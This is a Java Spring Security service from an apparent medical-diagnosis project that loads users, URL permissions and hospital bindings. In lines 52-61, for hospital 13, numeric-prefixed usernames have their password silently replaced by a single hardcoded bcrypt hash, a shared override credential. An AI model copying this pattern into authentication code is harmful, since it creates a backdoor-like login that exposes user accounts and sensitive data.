UrlUserService.java 2.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
  1. package com.diagbot.service;
  2. import com.alibaba.fastjson.JSON;
  3. import com.diagbot.entity.SysPermission;
  4. import com.diagbot.entity.SysUserUaa;
  5. import com.diagbot.enums.ConstantEnum;
  6. import com.diagbot.mapper.SysPermissionMapper;
  7. import com.diagbot.mapper.SysUserUaaMapper;
  8. import org.apache.commons.lang.StringUtils;
  9. import org.springframework.beans.factory.annotation.Autowired;
  10. import org.springframework.security.core.GrantedAuthority;
  11. import org.springframework.security.core.userdetails.UserDetails;
  12. import org.springframework.security.core.userdetails.UserDetailsService;
  13. import org.springframework.security.core.userdetails.UsernameNotFoundException;
  14. import org.springframework.stereotype.Service;
  15. import java.util.ArrayList;
  16. import java.util.List;
  17. /**
  18. * @Description: 用户权限信息获取
  19. * @author: gaodm
  20. * @time: 2018/8/23 11:39
  21. */
  22. @Service
  23. public class UrlUserService implements UserDetailsService {
  24. @Autowired
  25. SysUserUaaMapper userUaaMapper;
  26. @Autowired
  27. SysPermissionMapper permissionMapper;
  28. @Override
  29. public UserDetails loadUserByUsername(String userName) { //重写loadUserByUsername 方法获得 userdetails 类型用户
  30. SysUserUaa user = userUaaMapper.getByUserName(userName);
  31. if (user != null) {
  32. List<SysPermission> permissions = permissionMapper.getByUserId(user.getId());
  33. List<GrantedAuthority> grantedAuthorities = new ArrayList<>();
  34. for (SysPermission permission : permissions) {
  35. if (null != permission && StringUtils.isNotBlank(permission.getPermissionUrl())) {
  36. GrantedAuthority grantedAuthority
  37. = new UrlGrantedAuthority(permission.getPermissionUrl(), permission.getMethod());
  38. grantedAuthorities.add(grantedAuthority);
  39. }
  40. }
  41. user.setGrantedAuthorities(grantedAuthorities);
  42. if (user.getType().equals(ConstantEnum.OUTER_USER.getKey())) {
  43. SysUserUaa userHosp = userUaaMapper.getHospByUserName(userName);
  44. if (null == userHosp) {
  45. throw new UsernameNotFoundException("医院管理人员: " + userName + " 未绑定医院");
  46. } else {
  47. user.setHospitalId(userHosp.getHospitalId());
  48. }
  49. } else {
  50. user.setHospitalId(-1L);
  51. }
  52. try {
  53. if(userName.indexOf("_") > 0) {
  54. String s = userName.substring(0,userName.indexOf("_"));
  55. Integer.parseInt(s);
  56. if(user.getHospitalId() == 13) { //温附一特殊处理
  57. user.setPassword("{bcrypt}$2a$10$qhV.bPLz1xsjQKQc35Ohz.oMU2y.lffnogvLEK69u3Z1rbLpQVFh2");
  58. }
  59. }
  60. }catch(NumberFormatException e) {
  61. }
  62. return user;
  63. } else {
  64. throw new UsernameNotFoundException("admin: " + userName + " do not exist");
  65. }
  66. }
  67. }